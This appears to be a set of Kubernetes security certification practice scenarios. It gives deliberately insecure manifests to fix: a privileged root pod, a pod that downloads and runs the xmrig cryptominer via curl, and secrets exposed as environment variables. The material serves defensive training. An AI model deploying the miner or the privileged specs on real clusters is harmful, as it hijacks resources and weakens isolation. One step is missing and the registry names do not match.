Kubernetes Security Specialist (CKS) Practice Scenarios

Scenario 1: Prevent Privilege Escalation

Objective: Ensure a pod cannot escalate privileges or run as root.

Problem Statement:

You have been given a pod specification that allows a container to run as root. Your task is to:

1. Modify the pod spec to ensure it runs as a non-root user.
2. Apply a PodSecurityPolicy (if using older versions) or Pod Security Admission (PSA) to enforce this restriction.

Pod spec to modify:

cat << EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: insecure-pod
  labels:
    app: insecure
spec:
  containers:
  - name: insecure-container
    image: busybox
    command: ["sleep", "3600"]
    securityContext:
      privileged: true  # Allows full access to the host (needs to be removed)
      runAsUser: 0      # Runs as root (needs to be changed)
      capabilities:
        add: ["NET_ADMIN", "SYS_ADMIN"]  # Grants unnecessary capabilities
EOF

Expected Outcome:

• The pod should not run as root.
• Any attempt to run a root-level container should be denied.

Scenario 2: Detect and Mitigate a Cryptojacking Attack

Objective: Identify and remove a malicious pod mining cryptocurrency.

Problem Statement:

A newly deployed pod has been consuming a high amount of CPU resources without any declared resource limits. Upon investigation, it appears to be running a cryptomining process (xmrig). Your tasks:

1. Identify the pod consuming excessive CPU.
2. Inspect the container and confirm it is mining cryptocurrency.
3. Mitigate the issue by removing the pod and applying security policies to prevent future attacks.

Deploy a malicious pod:

cat << EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: cryptominer
  labels:
    app: cryptominer
spec:
  containers:
  - name: cryptominer-container
    image: ubuntu
    command: ["/bin/sh", "-c", "apt update && apt install -y curl && curl -sL https://github.com/xmrig/xmrig/releases/latest/download/xmrig -o /usr/local/bin/xmrig && chmod +x /usr/local/bin/xmrig && /usr/local/bin/xmrig"]
    resources:
      requests:
        cpu: "500m"
      limits:
        cpu: "2000m"
EOF

Expected Outcome:

• The malicious pod should be deleted.
• Future unauthorized mining activities should be restricted using security policies.

Scenario 3: Restrict Container Networking

Objective: Implement a network policy to isolate an application from unauthorized access.

Problem Statement:

Your application pod (web-app) should only communicate with the database (db) pod. Other pods should not be able to access web-app. Implement a NetworkPolicy to enforce this restriction.

cat << EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: web-app
  labels:
    app: web-app
spec:
  containers:
  - name: web-container
    image: nginx
    ports:
    - containerPort: 80
---
apiVersion: v1
kind: Pod
metadata:
  name: db
  labels:
    app: db
spec:
  containers:
  - name: db-container
    image: mysql
    ports:
    - containerPort: 3306
--- 
apiVersion: v1
kind: Pod
metadata:
  name: attacker
  labels:
    app: attacker
spec:
  containers:
  - name: attacker-container
    image: busybox
    command: ["sleep", "3600"]
EOF

Expected Outcome:

• Only db can communicate with web-app.
• Any external pod trying to access web-app should be denied.

Scenario 4: Protect Secrets in Kubernetes

Objective: Ensure Kubernetes secrets are stored and accessed securely.

Problem Statement:

An application pod is reading a Kubernetes secret (db-password). Your security audit revealed:

1. The secret is mounted as a plain text environment variable.
2. Developers are retrieving secrets using kubectl get secrets.

Your tasks:

• Modify the pod spec to mount the secret as a file instead of an environment variable.
• Restrict access to secrets by applying RBAC policies.

cat << EOF | kubectl create -f -
apiVersion: v1
kind: Secret
metadata:
  name: db-secret
type: Opaque
data:
  username: dXNlcg==  # Base64 encoded "user"
  password: c2VjdXJlcGFzcw==  # Base64 encoded "securepass"
---
apiVersion: v1
kind: Pod
metadata:
  name: insecure-pod
spec:
  containers:
  - name: app-container
    image: busybox
    command: [ "sh", "-c", "env | grep DB_" ]
    env:
    - name: DB_USERNAME
      valueFrom:
        secretKeyRef:
          name: db-secret
          key: username
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: db-secret
          key: password
EOF

Expected Outcome:

• The application still retrieves the secret, but in a more secure manner.
• Unauthorized users cannot list secrets.

Scenario 5: Detect and Block Unauthorized Container Images

Objective: Restrict pod deployments to approved images only.

Problem Statement:

A developer accidentally deployed an image from Docker Hub (nginx:latest) instead of using the company’s private registry (registry.example.com/nginx:latest). You need to:

1. Detect and delete unauthorized images.
2. Implement Gatekeeper to enforce image restrictions.

Steps:

1. Deploy Gatekeeper

kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/v3.18.2/deploy/gatekeeper.yaml

2. Deploy a constraint template and constraint to restrict images:

3. Deploy non-compliant pod(s) and see the result:

cat << EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: unauthorized-pod
  labels:
    app: unauthorized
spec:
  containers:
  - name: nginx-container
    image: nginx:latest
    ports:
    - containerPort: 80
EOF

Expected Outcome:

• Unauthorized images should be flagged and removed.
• Only images from whatever.registry.com should be allowed.